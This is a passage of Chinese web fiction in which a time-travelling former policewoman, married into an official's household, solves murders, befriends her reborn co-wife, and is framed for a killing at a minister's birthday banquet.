“是。”碧水毫不犹豫地回答，眼眶不觉湿润了起来：“以前夫人还未出阁之时，虽然也很少出府，但您会在府中看书识字，弹琴下棋，陶冶情操，而不是像现在这般，天天躺在屋子里，郁郁寡欢。碧水实在担心，长此下去抑郁的心情会对您的身体造成伤害。”
莫婉晴知道碧水是真的担心自己再这么消沉下去会伤了身子。她是自己的陪嫁丫鬟，从小就跟在她身边，是莫婉晴在这宋府最亲近之人，也是真心关心自己之人，她怎么忍心辜负对方的这一番真心呢？
“你说的这些，我心里又何尝不明白。”
“既如此……”
莫婉晴打断道：“好了，让我一个人静一静，你先下去吧。”
碧水只能苦着一张脸退下。
她心里也清楚明白，自己家夫人的心结，
13. 第 13 章
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用完了晚膳，陆思云回到自己的宅院内，忍不住责问翠柳：“好好的，你为何让宋晏初到我这里来谈事？我去他书房谈不是也一样吗？”
“这可不一样，大大的不一样，我的好夫人。”
陆思云不解地看向她。
翠柳突然来了兴致，兴奋地向她解释道：“夫人有所不知，您去姑爷书房谈事与姑爷到您屋里谈事，那区别可就大了。”
“有何区别？”
“夫人你去书房，和姑爷来你宅院，性质可是完全不同的。您去姑爷书房，谈完事儿就回来了。可如果姑爷来您宅内谈事，谈完事儿，兴许就住下了。姑爷一旦在您宅院过夜，明日一早肯定就传遍整个宋府，我们也能扬眉吐气一回。”
“我们为何要扬眉吐气？”
“夫人您都忘啦？也是，您从高处落下的时候失了记忆，不记得也很正常。姑爷之前对您，说是不闻不问，那是半点都没有夸张。别说是到您这宅院里来看您，他甚至连正眼都不曾瞧您一眼。”
虽然她知道宋晏楚不喜欢楚星然，但没想到居然厌恶至此。
“他真的就这般讨厌我？”
翠柳使劲儿地点头：“要不是您之前……姑爷如此冷落你，怕是早就被府中其他人给看低了去，特别是大夫人那边。”
陆思云这才弄明白，方才翠柳为何执意要让宋晏楚到她宅院内商谈案情。目的是向对面耀武扬威的。
可现下她一心只想把案子了结，赢了跟宋晏初的赌约，顺利进六扇门做捕快。这种深宅内院的恩恩怨怨，她实在是提不起半分兴趣。
看着翠柳忙前忙后地为宋晏初准备茶叶，陆思云不忍心扫她的兴，于是便在旁边看着她乐在其中地置办，一边吃着点心一边等着宋晏初的到来。
没一会儿，宋晏初便进了里屋。
见到他，翠柳便用眼色暗示陆思云，陆思云虽不情愿，但还是站起身来，堆起了笑脸迎了上去：“夫君，您来啦。”
见她这样笑脸迎人，宋晏初的心情好了不少，原本严肃的神情也变得柔和了许多。
翠柳立刻将泡好的新茶端到茶几上，便识相地退下，留下他们二人在房中相谈要事。
陆思云坐下后，顺手给宋晏初倒上一小杯新茶，递给他。
宋晏初接过茶喝了一口，茶味的清香立刻充斥于口。
果然是好茶。
“你今日让萧捕快去查了白玉簪是那三人中谁的拥有物？”
陆思云浅尝了一口新茶，语气笃定地说：“正是。”
“确定了凶手，然后呢？你打算怎么做？你打算如何证明，送给三位受害人白玉簪的人，就是杀死她们的凶手？”
“夫君不用担心，只要找出送簪之人，我自有法子让他自动现身。”
宋晏初见她又开始卖关子，有些失了耐心地催促她：“到底是什么法子？”
“待萧捕头找出凶手，到那时我们要做的，自然是请君入瓮。”
见他少有的这般急迫，陆思云有些得意，但她还是将自己的计划如实告知。
“什么？！你要成为怡红院的头牌？”宋晏初听了陆思云的计划，竟然直接从椅子上站了起来，完全无法平静下来。
陆思云就知道，一旦她将这个计划告知自己的这位夫君，他定会气得七窍生烟。
果不其然！
“夫君您先冷静一下听我说……”
“你叫我如何冷静？你作为大理寺卿二夫人，居然要去做怡红院的头牌，你这叫我如何冷静得下来？”
“夫君也说了，就算知道送簪之人是何人，也没办法证明他就是凶手。眼下只能布局让他自己把狐狸尾巴露出来。从前面三位受害人被害的日期推断，每月初八到十五，是他动手的时间。如若我能扮成怡红院的新头牌，引他上钩，逼他动手，届时将他当场抓获，他就无从抵赖。”
“不行！”宋晏初厉声阻止：“这实在太过危险，我不能同意。”
“那夫君您告诉我，您有更好的办法吗？”
以宋晏初的聪明才智，又怎能不知道这是唯一能抓住凶手的方法。
三起案件手法相似，凶手杀人的时间都选在深夜无人之时，并且手法干净利落，留下的线索少之又少。
如若不是陆思云的介入，找出这几条重要线索，他们根本没办法在这么短的时间锁定凶手。
凶手既然能够一连犯三起案件，说明他是一个惯犯。既然是惯犯，他就一定会再次动手。
“引蛇出洞”是最为上佳的办法，但以楚星然作为诱饵，如此危险之举，宋晏初实在不愿。
“夫君身为大理寺少卿，破过的案件比我吃的米还多，我相信夫君定能制定周全的计划，护我性命无忧。”
见她打定了主意要以身犯险，宋晏初有些不解地皱眉看着她：“为何要做到如此地步？如果只是想在你我的赌注中胜出，你无须如此。我应允你去六扇门当差便是。”
陆思云看得出，对方是真的担心自己的生命安危，她的心里还是有些暖意的。
原来这位大理寺少卿，也并非表面看上去那般铁石心肠嘛。
“星然斗胆问一句，夫君为何要成为大理寺少卿？”
“自然是为了让这世道不再有冤案发生，让百姓生活可以安定无忧。”
“那我与夫君的想法是一致的。我也希望这世上没有冤情，百姓安居乐业。”
陆思云的话让他有些愣住，这一停顿并没有逃过她的眼睛。
她有些自嘲地笑了笑：“夫君是惊讶我一堂堂闺中女子，居然也会有这般男儿才该有的理想？”
宋晏初并不否认自己的惊讶：“这几日来，我已经见识了你的断案能力，知道进衙门做女捕快抓犯人是你的愿望，你如今会有这样的理想，也不足为奇。我只是惊叹，你居然会跟我有着同样的抱负。看来，以前是我太过忽视你，从未去试图了解你内心的想法，心中顿感抱歉。”
以前宋晏初对楚星然如何，其实陆思云并不在意，毕竟也不是她在承受他曾经的冷暴力。
况且现在她并不是楚星然，也不会像楚星然那样费尽心思地讨他欢心，自然也不会对他有所期待。
原本陆思云对这位夫君并没有抱太大的期望，她只希望对方不要拖自己后腿就行。
但是现在看他的态度似乎有所松动，陆思云也想趁此机会，化敌为友。
毕竟他大理寺少卿的身份，对她日后查案甚为有利。
“夫君无须道歉，过往的那些事，我其实已经有些不记得了，夫君不用介怀。”
宋晏初见她如此豁达，不计前嫌，他端起桌上的茶杯，柔声道：“那我以茶代酒，为我之前过往的种种，向夫人赔个不是。”
既然对方都跟自己道歉了，并且态度如此诚恳，那她还有什么好扭捏的呢？
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任何用处。一开始，他还会哄我，与我一起憧憬美好的未来，可渐渐的我们被生活所摧残。身上带的银子用完之后，我发现我们俩都没有赚钱的能力，生活越过越苦，他对我也不再像最初那般温柔体贴。后来干脆丢下我不知去向……”
说到此处，莫婉晴还是会觉得心中钝痛，眼泪止不住地往下流。
陆思云心疼地为她擦拭眼泪，嘴里咒骂着：“他就这么丢下姐姐你一人不管了？真是太不负责人了。”
“后来我不幸染上风寒，没银子买药，最终病倒在郊外的茅草屋内。弥留之际，满是懊悔。我悔婚私奔，带给莫家多大的耻辱，已是无颜再回去，况且我拖着这病体，也没办法赶路，最终客死异乡。待我转醒过来，发现我回到了未出阁之前。虽然满心疑惑，但心中亦是窃喜万分，上天竟然又给了我一次重新来过的机会。”
“所以这一次，姐姐想过不一样的生活，选择嫁给夫君。”
莫婉晴一边抹泪一边点头。
“但是上一世的悲痛依旧无法从我的内心消散。况且我虽与夫君从小青梅竹马，但我对他从无男女之情，幸得夫君体恤，他一直敬重我，从未勉强过我任何事，与我相敬如宾，这已经是最大的满足。但我总是对任何事都提不起兴致，对待府中之事也是消极怠工，现在说来我都十分羞愧。后来看到妹妹这般积极的靠自己的力量做上了女捕快，屡破奇案成为佳话，自觉备受鼓舞，便也开始学着开始接管府中事务。”
陆思云握住她的手，欣慰地说：“幸好姐姐你及时振作了起来，为了一个渣男就一蹶不振实在是一点都不值得。往后姐姐有我，不再是独自一人了。”
能遇到一个同样拥有奇特经历，能互相无所顾忌互相诉说心中秘密的人，实在是太好了。
不过……
“‘渣男’是何意？”
“‘渣男’就是……坏透了的男人，负心汉！”
“原来如此，是妹妹所在的那个世界的语言么？”
“是啊，我原来那个世界，奇妙好玩儿的事情可多了。往后姐姐常来我这儿，我多说与你听。”
“与妹妹说出这番话，我心中总算是明亮了许多。谢谢你，思云妹妹。谢谢你的坦诚相待，也谢谢你让我坦诚说出了自己的这段经历。”
“姐姐提醒夫君多注意祭祀大典炉鼎倾倒的时候，我就开始有所怀疑。只是我觉得自己的猜测太多玄幻，有些不确定。再看到姐姐在夜明珠失窃之时毫无意外之色，心中的那个猜想又确定了几分。原本是想早点同姐姐坦诚的，无奈受了伤，精力有限，便想等我身体好些了再来同姐姐明说。”
两人紧紧握住对方的手，仿佛命运般的相遇，将她们联系在一起。
陆思云忽然脑中金光一闪，提议道：“既然姐姐是重生而来，能预知未来发生的重大事件。而我是穿越而来，拥有这个世界没有的一些知识。而我们彼时又都是宋晏初的妻子，夫君若步步高升，我们也必定跟着获利。倘若夫君遇难，我们也得跟着一起倒霉。既如此，莫姐姐，不如我们两个合作如何？”
“合作？”
27.第 27 章
“合作？如何合作？”
“既然我们的命运全都系在宋晏初的身上，那我们可以合力一起帮助他。”
“夫君本身做事果决，能力超群，还需要我们的帮助吗？”
“宋晏初的能力确实不错，但是他没有姐姐这样的预知未来的能力，无法规避未来会发生的恶事。而我原本是个警察，在我那个世界有很多先进的办案方法夫君是不知晓的，很多破案手法他还没我了解的清楚。我擅长断案，并且又在六扇门做捕快，我能帮助夫君办理奇案，帮助他在事业上步步高升。”
“那我能为夫君做些什么呢？”
“姐姐聪明睿智，又知晓未来重大事件的节点，姐姐可以在帮夫君打理后院的同时，帮他留意朝廷动向，助夫君在朝堂之上平步青云。”
莫婉晴虽然觉得陆思云说得很有道理，但她却对自己很没自信：“我不知道自己能否胜任，怕让思云妹妹失望。”
陆思云看出她因上一世的悲惨命运，做事总有些畏手畏脚，立刻鼓励道：“姐姐才华横溢并不输男子，我相信姐姐一定可以的。”
“承蒙妹妹看得起，那我姑且试一试。”
陆思云忍不住内心激动的情绪，一把抱住了莫婉晴。
莫婉晴被她这突如其来的拥抱，搞得不知所措。
“莫姐姐，今晚我实在是太高兴了。因为遇见了姐姐，让我觉得自己在这个世界并不孤单了，往后都有人可以看见真正的我了。我实在太高兴太高兴了。”
听了她的话，莫婉晴的脸上不自觉地露出温柔的笑，像一个包容她一切的大姐姐。
“我也很高兴，思云妹妹。我想上天让我重活一次，定是为了让我遇到妹妹，然后重新振作，开启不一样的人生。”
“姐姐说得真好，让我们一起努力，在这个世界活出另一番模样来。”
两人聊得兴奋，互换秘密后，仿佛有说不完的话。
不知不觉便到了深夜，丫鬟们见两位夫人聊得忘了时间，实在忍不住进屋提醒。
“夫人，到时间该回去歇息了。”
经过碧水的提醒，莫婉晴这才发现天色已晚。
“原来天色已经这么晚了，妹妹有伤在身，我还叨扰这么久。明日我再过来与妹妹说话。”
送走了莫婉晴，陆思云还沉浸在快乐中，全无睡意。
翠柳见她这般模样，以为她是见了大夫人才这般兴奋，忍不住揶揄道：“要不是大夫人是位女子，翠柳都要怀疑二夫人你是不是心悦大夫人。怎么见了姑爷不见你这么开心，见了大夫人却像见了情郎似的，这般兴奋。”
对翠柳的揶揄，陆思云并未在意，翠柳并不知道今晚她和莫婉晴的关系发生了质的飞跃，也没办法体会到她们此刻的心情，所以她不跟自家丫鬟一般见识。
“莫姐姐，人美心善，人见人爱，我喜欢她也不奇怪啊。”
“姑爷的福气真好。家里的两位夫人相处和谐，后院没有纷争，他亦没有后顾之忧。”
“我也觉得，夫君有我和莫姐姐这两位夫人，是他最大的福气。并且呀，他的好福气可在后头呢。”
“行啦，我的好夫人，我去给您放水沐浴更衣，您早点洗洗睡下吧。”
陆思云双手托着下巴，笑眯眯地看着窗外空中的那轮明月。
今晚真是一个不眠之夜呀。
------
次日清晨，宋晏初来到膳房，就看到他的两位夫人站在桌旁，手拉着手，正亲昵地说着话。
不知道陆思云说了句什么，就看到莫婉晴掩面直笑。笑意直达眉眼，眼角开出了好看的一抹褶皱。
宋晏初恍惚发现，自从与莫婉晴成亲以来，他似乎是第一次看到她笑。
他之前就发觉，自从楚星然高处摔落昏睡醒来之后，她便同莫婉晴不再争锋相对，反而日渐亲密。
两人的亲密程度，都赶上与他这位夫君了。三个人在一起时，倒是反而显得他有些多余。
两位夫人聊得甚欢，竟然没有发现他已经来了。
宋晏初干咳一声提醒。
二人这才同时转过身对他行李喊道：“夫君。”
“嗯，夫人们坐下用膳吧。”
陆思云和楚星然分别在宋晏初的两边坐下用膳。
“莫姐姐，这道冬笋玉兰片做得十分鲜甜，你尝尝看。”说完，陆思云夹了一块笋片，直直地越过了宋晏初，放入莫婉晴的碗中。
“妹妹常常这道杏仁豆腐，滑嫩可口，你尝尝。”莫婉晴用勺子舀了一块豆腐放入陆思云的碗中。
宋晏初坐在二人中间，看着两位夫人想不加菜给对方，好不温馨。
再看看自己手中的白米饭，发出无声地叹息。
用完膳，陆思云和宋晏初坐在前厅喝茶。
今日宋晏初休沐，不用去大理寺。陆思云还在休养身体，也不用去六扇门。
最忙的反而成了莫婉晴，她每天用完早膳都习惯先去处理一些府中琐事。所以此时并不在前厅。
宋晏初坐在上座，陆思云坐于他的左前方的位置。
“夫人身体可有好些？”
“多谢夫君关心，已经好多了。”陆思云突然想起自己从昏睡中醒来，看到他满脸倦容的狼狈模样，再加上翠柳告知的为了照顾发热的她彻夜未眠，知道自己受伤他也十分担心自己的安慰，心中闪过一丝异样。
宋晏出本就不是话多之人，陆思云又将话聊死，两人一时间无话，沉默地喝着茶。
忽然，陆思云问：“夫君可有查出，那日偷窃夜明珠之人，到底是何许人？”
说到此时，宋晏初的面色不禁凝重了起来。
“此人在押去大理寺的路上就咬舌自尽。”
“什么？！看来这背后指使之人，定不是简单之辈。”
“如今朝堂局势不稳定，各方都在蠢蠢欲动。自然有人看我不顺眼。”
“为何看夫君不顺眼？”
宋晏初看向她，坚定地说：“因为我不参与党争，我只听从皇上，皇上要我做他的一把刀，我便会毫不犹豫并且义不容辞地刺向他要我刺的方向。”
“我明白了，正因为夫君你哪边都不站，不确定因素太多。他们便想除掉你，以绝后患。”
宋晏初点头，眼中不
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乏对她的赞许之色。
“不过朝堂之事，我知甚少，不能给夫君什么建议。但是莫姐姐作为内阁大学士之女，从小耳濡墨染，也许帮到夫君。”
见她提到莫婉晴，宋晏初便问：“你最近跟婉晴，好像关系特别亲近？”
陆思云也不否认，她们二人关系好，是全府上下都知道的事。
“确实如此，我与莫姐姐情同姐妹，一起将府上打理好，让夫君在朝堂之上没有后顾之忧。”
“但你之前……”
“此前是我太不懂事了，给姐姐和夫君造成了许多困扰，星然在这儿向夫君赔不是。”
宋晏初看她如此懂事明事理，与之前的模样完全不同，心中十分欣慰。
作为一家之主，他自然是希望家和万事兴的，谁都不希望自己的后院纷争不断，哪天保不齐就给你来个后院起火。
自己的两位夫人相处融洽，一心为了府中欣欣向荣，作为丈夫，他觉得这是自己福气。
莫婉晴忙完府中事务，便赶来前厅，在陆思云对面的位置坐下。
碧水给她端上一杯茶，便退了出去。
她端起茶杯，吹了吹杯中的新叶，喝了一口，笑着问：“夫君和妹妹在聊什么呢。”
“我们在聊前几天祭祀大典发生的一系列事。总觉得有人在针对我们宋府。”
听闻是在议论此事，莫婉晴的脸色立刻严肃了起来：“此事确实需要我们好好商议一番。如今朝堂氛围两派，一派是以太子为首的太子派，一派是以和亲王为首的亲王派。之前妹妹破了青楼女子连环凶杀案，凶手是礼部尚书之子周世杰，对么？”
“正是。”
“这礼部尚书，原本就是亲王派，加之夫君抓了他的儿子严惩，对夫君定是怀恨在心。如今和亲王想拔了夫君这眼中刺，自然与礼部尚书不谋而合。”
“姐姐的意思是，这次祭祀大典炉鼎倒塌事件，是礼部尚书和和亲王所做。”
“包括之后的盗取夜明珠。”莫婉晴补充道。
陆思云看向旁边的宋晏初，发现对方神色平静，“夫君是否早就已经猜到这幕后主使之人是谁了？”
宋晏初并不否认：“大理寺一直秉公职守，得罪的人数不胜数。倘若瞻前顾后，如何做好皇上的刀。我不怕得罪人，如因怕得罪人而做事畏畏缩缩，如何能惩奸除恶。只不过就是辛苦两位夫人陪我一起担心受怕。”
“夫君你言重了。我们既然已经嫁给你，就是一家人。作为家人，就是要一起同甘共苦。况且夫君心之所向亦是我的理想追求。既然理想一致，星然自然愿意追随到底。”
莫婉晴笑着说：“我没有星然妹妹这般勇敢果断，但星然妹妹有句话，我十分赞同。既然嫁给夫君，我们就是家人，家人就该荣辱与共。以后遇到事，一起商议一起想对策，一起对抗外来灾祸，守护好我们这一方家土。”
“那我们今天就以茶代酒，干上一杯，这样我们就算是结盟了。”
虽然觉得楚星然的话有些别扭，让人听着忍俊不禁，但宋晏初和莫婉晴还是配合地举起茶杯，三个茶杯碰在一起，发出清脆的碰撞声。
28.第 28 章
正月初八，为吏部尚书左青明六十大寿。
他将在府上大摆寿宴，邀请朝中所有大臣们前往府中参加。
宋晏初自然在邀请的名单之内。
一般参加这样大的寿宴，官员都会携带家眷。由于楚星然与莫婉晴是平妻，同为妻子，她们二人都需要参加晚宴。
莫婉晴为宋晏初准备了一份厚礼，以她独到的眼光，选的礼物自然是得体的。
大家对她挑选的礼物没有任何意见。
到了左青明大寿之日，宋晏初带着两位夫人，坐着马车，来到左尚书大人的府上。
左尚书是当朝正二品官，他的府邸自然是气派不已。
之前为了查案，陆思云去过礼部尚书的府中，她觉得左尚书的规格同那处宅院大差不差，反正都比宋府气派。
三人一进左尚书的府中，莫婉晴便悄悄地碰了碰陆思云的衣袖，低声提醒：“在妹妹东南方向的那位穿着绛红色衣袍的男子，便是楚星然的父亲，镇北候楚越。”
陆思云顺着她说的方向望去，看到那名身着绛红色袍衫，腰板挺得笔直，看上去四五十模样的男人，有些恍惚。
这就是楚星然的父亲，现在也是她的父亲。
宋晏初自然也看到了他，立刻朝着楚越走去。陆思云和莫婉晴紧跟其后，一起走到他面前。
宋晏初先深深地作揖，打招呼道：“岳父大人。”
陆思云同莫婉晴也一起行礼。
“父亲大人安好。”
“楚侯爷安好。”
“好好好，你们都来了。”楚越见了他们三人，立刻露出笑容，他高兴地拍了拍宋晏初的肩膀。
他毕竟是武将出生，习武之人，力气难免比一般人大，陆思云看到宋晏初的脸色明显比方才要白了一些。
楚越又看向陆思云，眼里满是慈爱之情：“听闻你前些日子，去六扇门当了女捕快？还把六扇门搅得鸡犬不宁，可有此事？”
陆思云万万没想到，这位楚侯爷居然一见面就开始兴师问罪，让她有些猝不及防，但她还是承认道：“女儿确实如今在六扇门当捕快，但并没有把六扇门搅得鸡犬不宁，不知是谁在父亲面前嚼舌根，这样诋毁女儿。”
宋晏初连忙也帮衬着替她说道：“岳父大人勿怪星然，是小婿准许她去六扇门当差。星然还破了两宗凶杀案，还助我找到了失窃的也夜明珠，表示十分出色。”
楚越听了宋晏初的话，这才露出了得意的笑容：“好！干得好！真不愧是我楚越的女儿。”
其实方才的那番话，楚越是故意当着女婿的面说的，他就是担心自己的女儿在外如此出风头，会不会引起夫家不满。
原本他就知道宋晏初对楚星然并无情谊，是自己的女儿非他不嫁，整日为了他茶饭不思，楚越这才替她向皇上求了赐婚。
婚后他也听闻宋晏初对她十分冷淡，原本还很担心女儿的处境，但嫁出去的女儿只要对方没有与她和离，作为娘家人，他也没办法插手太多。
他久居沙场，鲜少回家，对这个女儿关心甚少，才会把她纵容得如此蛮横任性。
而后听闻她竟然去六扇门做了捕快，把她母亲急得差点没昏过去。他原本也费解，好好的一个女子为何突然想要去当差？对她的表现，他也略有耳闻，只是他一直担心宋晏初会对此有所想法。
现在看到女婿这么为自己的女儿说话，他这颗悬着的心也总算是放了下来。
听到父亲的表扬，陆思云的脸色这才缓和了下来，笑着问：“今日怎么没见母亲？”
“你母亲有些头疼，今日便没同我一起。”
听闻母亲病了，陆思云露出担心的神色：“母亲怎得突然病了，可无碍？”
“老毛病了，无须挂怀。”
正说话间，就听见门口传来声音：“莫中堂大驾光临，真是让我这府上蓬荜生辉啊。”
“左尚书，恭贺大寿，福如东海、寿比南山啊。”
三人转过身，看到内阁大学士莫子恒出现在门口，正在与左尚书寒暄。
寒暄完，他径直朝着他们三人走来。
三人立刻行礼。
“岳父大人安好。”
“父亲大人安好。”
“莫中堂安好。”
莫子恒喜笑颜开地看着三个小辈，然后目光停留在自己的女儿身上：“婉晴，近来可好？”
“一切安好，劳父亲大人挂心了。”
看着莫婉晴气色确实比之前要好很多，看得出她在宋府应该尚可，他也便放下心来。
一抬眼，就看到站在一旁斜着眼看着他的楚越，他的神情立刻染上了几分不悦，他对着楚越挑衅道：“楚老头，今天打算几杯倒啊？”
禁不起激将的楚将军立刻还击：“你个莫老头，今日不喝得你从左尚书府爬出去，我就不姓楚！”
两人骂骂咧咧，一路吵吵闹闹地进了里间。
宋晏初看着两位岳父大人的背景，无奈地摇摇头。
这两人还是同以前一样，每次一遇到就像被点燃的两支炮仗，噼里啪啦吵个不停。
看着两位岳父走进了男宾的席中，宋晏初便对两位夫人说道：“我也进去了，二位夫人也去女宾席坐下等开席吧。”
“是，夫君。”
宴会摆在府中前厅之内，只不过男女席位是分开的，中间用一道长长的屏风隔开。
陆思云和莫婉晴手牵手来到女宾的席位，那里已经有不少女眷入座其中。
两人一进门，莫婉晴便看到了自己的母亲徐氏坐在席位的正中间，正在与别的女眷说话。
许久未见母亲，莫婉晴心中有些激动。
她连忙带着陆思云一起来到徐氏的面前，行礼道：“母亲大人安好。”
“莫夫人安好。”
陆思云抬头打量徐氏，虽然脸上有着岁月的痕迹，但她还是可以从徐氏精致的五官中看出，年轻时候莫姐姐的母亲定是风华绝代。
“晴儿，你来了。快让母亲好好看看。”
徐氏上下打量着自己许久未见的女儿，莫婉晴也因思念母亲，含泪看着她，任由她看着自己。
“清瘦了不少。”徐氏心疼地说。
见母亲难过，莫婉晴连忙安慰：“女儿现在
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每日打理府中事务，比之前要忙碌一些，所以看上去瘦了一些。但是女儿每天都过得很充实，母亲不用担心。”
陆思云也凑上去说道：“莫夫人别担心，我会帮着莫姐姐一起打理好的宋府的。”
徐氏这才将目光投向一旁的陆思云，眼里全是探究的神色。
之前她就听闻这位镇北候千金蛮横骄纵，可如今见到本人，却觉得她天真无邪，并没有传说中的那般无理取闹。
见到母亲在审视陆思云，莫婉晴知道母亲定是听了之前关于楚星然的传闻，对她产生了偏见。
她连忙抓住陆思云的手，对徐氏说道：“我与星然妹妹如今情同姐妹，之前的种种传闻都是无中生有，望母亲不要当真。”
既然女儿都如此这般说了，那她也便不再深究。
“好了，你们也回你们的席位上坐好吧。”
“是。”
二人刚坐下，就听见旁边的女子议论她们的声音。
“看，那位就是大理寺少卿宋晏初的大夫人，不愧是内阁大学士的嫡女，长得的确气质斐然，美若天仙。”
听见她们在夸莫姐姐，陆思云不自觉地嘴角上扬，仿佛夸赞的是她本人一样的高兴。
但笑容很快就僵硬在脸上。因为下一秒她便听到议论她的话。
“旁边的就是宋少卿的二夫人楚星然吧。听说她是硬要自己嫁给宋晏初的，宋大人根本就不喜欢她，是她让自己的父亲用军功求皇上赐婚才如愿嫁给宋大人的。”
“这跟上赶着送上门有何区别？”
“我还听说，她入府之后，宋大人根本就不理她，对她冷若冰霜，无论她如何百般讨好，少卿大人都不屑多看她一眼。”
“如今她还在六扇门当捕快。你们听说过女子去做捕快的么？还是一个已经出阁的女子，去那种男人堆的地方，这成何体统？”
“还是莫婉晴端庄大方，她楚星然如何比得？”
……
她们每说一句，陆思云的脸色就白上一分。
虽然她从不在意人家怎么评论她，之前的楚星然风评不好，她并不在乎，因为她只要知道自己不是那样的人就好。
去六扇门做捕快，她明知会遭人耻笑和唾弃，她还是坚持去了。
为了能去六扇门当差，她差点丢了性命。但这是自己一直想做的事情，所以就算被千夫所指，她也不在乎。
但是此时此刻，在这么重要的一场寿宴之上，在场的都是朝中大臣，位高权重。这些女眷们这样似乎忌惮地羞辱她，就算她脸皮厚如墙壁，此时也有些无地自容。
放在腿间的手突然被握住，陆思云抬头看向旁边，莫婉晴一脸担忧地看着她，想通过肢体语言安慰她。
陆思云自然明白她的好意，手上传来的温度仿佛温暖了她的心口。
她对着莫姐姐露出苍白的笑容，想用笑容告诉她，自己并不介怀。
殊不知，自己的这个笑，比哭还难看。
突然，门外响起了一个熟悉且透着威严的声音。
“是谁允许你们这般肆无忌惮地对我的夫人评头论足？”
29.第 29 章
“是谁允许你们这般肆无忌惮地对我的夫人评头论足？”
众人全都看向门外。
宋晏初站在门口，身躯笔直，面如冰霜，正冷冷地看着女宾席方才正在议论的女眷们。
被盯着的女眷有些紧张地开口：“少卿大人，我们不是那个意思……”
“不是那个意思，那是何意？”
那名女眷脸色微白，嘴唇发抖，说不出话来。
宋晏初继续开口，声音虽然不大，但却刚好整个大厅的人都能听见。
“众人皆知，我家中的两位夫人，一位与我自小有婚约，另一位是皇上赐婚。一个是自小结下的姻缘，一个是皇恩御赐。她们二人，都是我下了婚书聘礼，八抬大轿，明媒正娶娶进门的。既然是平妻，在我心中从来没有大小之分，我一样敬重。”
“我的两位夫人，一位才华兼备、雷厉风行，将我内府事务打理得井井有条，让我在朝堂之上没有后顾之忧，更能全心全意为皇上办事。另一位智勇果敢，助我破了青楼女子凶杀案，助我寻回失窃的夜明珠，挽回了皇家颜面。”
“请问在座各位，又有谁能同这二人这般，内外都能帮衬自己的夫君？虽然我朝历来都推崇女子无才便是德，但我的两位夫人却用她们的能力向我，向大家证明，女子也有能力去成就一番事业。正因为我的夫人们如此出色，作为她们的夫君，我在骄傲的同时，也更加严于律己。”
“说到底，这到底是我宋某的家事，今日在左尚书府上高谈阔论，实在有些不敬，在此我先向左尚书陪个不是。只不过宋某以为，既然我这个做夫君的都不觉得我的夫人有何不妥，你们这些外人，又凭什么置喙？”
宋晏初的一席话，将众人说得哑口无言。
陆思云更是呆呆地看着他，忘了反应。
这是她认识此人以来，听过的他说的最长的一段话了。
他是在替自己抱不平么？
是这样么？
她可以这么认为么？
宋晏初说完，眼睛直勾勾地看向呆坐在那里的陆思云，嘴角浅笑地问：“你平日里不是挺伶牙俐齿，今日怎的变哑巴了？任由她们如此编排你。”
陆思云这才反应过来，他为了自己才站出来说了这一番长篇阔论，他是在给自己撑腰。
她说不清此时是何感受，有感动也有欣喜。
因为这是她第一次感觉到自己是有后盾的，她如果受到欺负，她有嫁人可以安慰她，也会有家人站出来维护她。
在这个世界里，她终于不是孤单一人了。
这样想着，她不自觉地站起了身子，看着门口站着笔直的男人，脸上带着一些不服输的笑。
“我只是不屑跟这些小娘子一般见识罢了。”
听着她的话，方才嘲笑她的那几位女娘全都紧咬后糟牙，但却不敢再吱声。
这一小插曲并未影响众人的兴致。
很快，晚宴如期举行。
这是陆思云穿越到这个世界以来，第一次吃席，还是二品大官的席，她自然是没有见过的。
每样菜对她来说都是新鲜的。
看她这副没见过世面的模样，方才嘲笑她的那几位女眷全都露出鄙夷的神情。
但这次她们不再敢多言语半句。
毕竟方才宋晏初已经放过狠话了，没人再敢议论楚星然半句。
莫婉晴坐在一旁，看陆思云吃得很开心，完全没有被方才的事情所扰，终于是放下心来。
她又回想起刚才宋晏初站出来为陆思云说话的场景，虽然言语里他也将自己说于其中，并且都是夸赞的话。
但是莫婉晴总觉得，夫君是为了陆思云不受委屈，才站出来为她说话的。
她自认为自己与他从小一起长大，对他的脾气性格都十分了解。
现在看来，人终究是会长大，一些固有的观念也会慢慢地改变。
人与人之间的关系，也在悄然地发生的变化。
陆思云并不知道身旁的莫姐姐看着她陷入了沉思，她的注意力完全放在晚宴琳琅满目的菜品上。
虽说宋府的伙食也不差，但她没有一次吃过这么多不同中来的菜啊。
人就是不能太快乐，太快乐往往就会乐极生悲。
这不，吃着吃着，陆思云便觉得腹中不适，疼痛难忍，急需上茅房。
“莫姐姐，我去解个手，很快就回来。”
说完不等莫婉晴作何反应，自己便离席出去找茅房去了。
谁知偌大一个尚书府，陆思云愣是一个茅房都没找到。
她捂着肚子急得在原地直打转。
这时候一位侍女匆匆从旁边路过，陆思云见到她仿佛像是见到了救星一般。
她毫不犹豫地一把拉住那位侍女。
那位侍女似乎有些心不在焉，她这么大一个人就站在她面前，她愣是一点都没察觉。
等自己拉住她的时候，侍女吓得直接尖叫了一声。
这一叫倒是把陆思云给叫懵了。
心想着她也没怎样啊，至于吓成这样吗？
侍女可能自己也觉得方才有些反应过度，她勉强挤出一点笑容：“小娘子何事？”
对了，眼下人有三急，找茅房要紧，她已经顾不上其他了。
“请问小姐姐，茅房在何处？”
“前面左转就是了。”
“谢谢小姐姐，大恩不言谢。”陆思云再也顾不得了，朝着她说的方向飞奔而去。
从茅房里出来，陆思云觉得通体舒畅，整个人都舒畅了。
虽然身体舒畅了，但她却迷了路。
她绕了许久，却怎么也找不到回前厅的路。
正当她一筹莫展之际，忽然听见不远处的房间内有些响动。
好奇心作祟的陆思云，寻声走了过去，想要一探究竟。
她慢慢走到门口，发现门半敞了，里面一片漆黑。
陆思云推门而入，借着门外的月光，看清了屋内的情形。
她还未从震惊中回过神来，后颈便被人用力狠狠地拍了一掌。
陆思云吃痛，她想转过身看清楚袭击她的人是谁，可惜眼前只能看清楚模模糊糊的一个身影，然后她便倒在了地上，失去了知觉。
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不知道昏睡了多久，陆思云辗转醒
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过来，刚一动，脖颈上就传来剧痛，她摸着脖子龇牙咧嘴地从地上爬起来，刚坐起来，整个人便像个石头一样僵硬在那里。
她此时正坐在方才她查看的房间内，并且胸口的衣物上布满了鲜红的血迹，血腥味扑鼻而来。
而她旁边还躺着一个人，那人躺在血泊之中，一动不动，看上去已经没了生气，怕是已经死透了。
陆思云并不死心，她强迫自己镇定下来。
现在要做的第一件事，就是要线确认躺在她旁边的这个人是生是死。
她颤抖地伸出手摸向那人的脖子，然后她绝望地闭上了眼睛。
眼下的这个情况，她不是没在电视剧里面看过类似的情节。
如果她没有猜错的话，下一秒大概会有人过来，发现屋内的情况，然后尖叫出声，引来旁人围观。
这样自己就会被当做是凶手当场抓获。
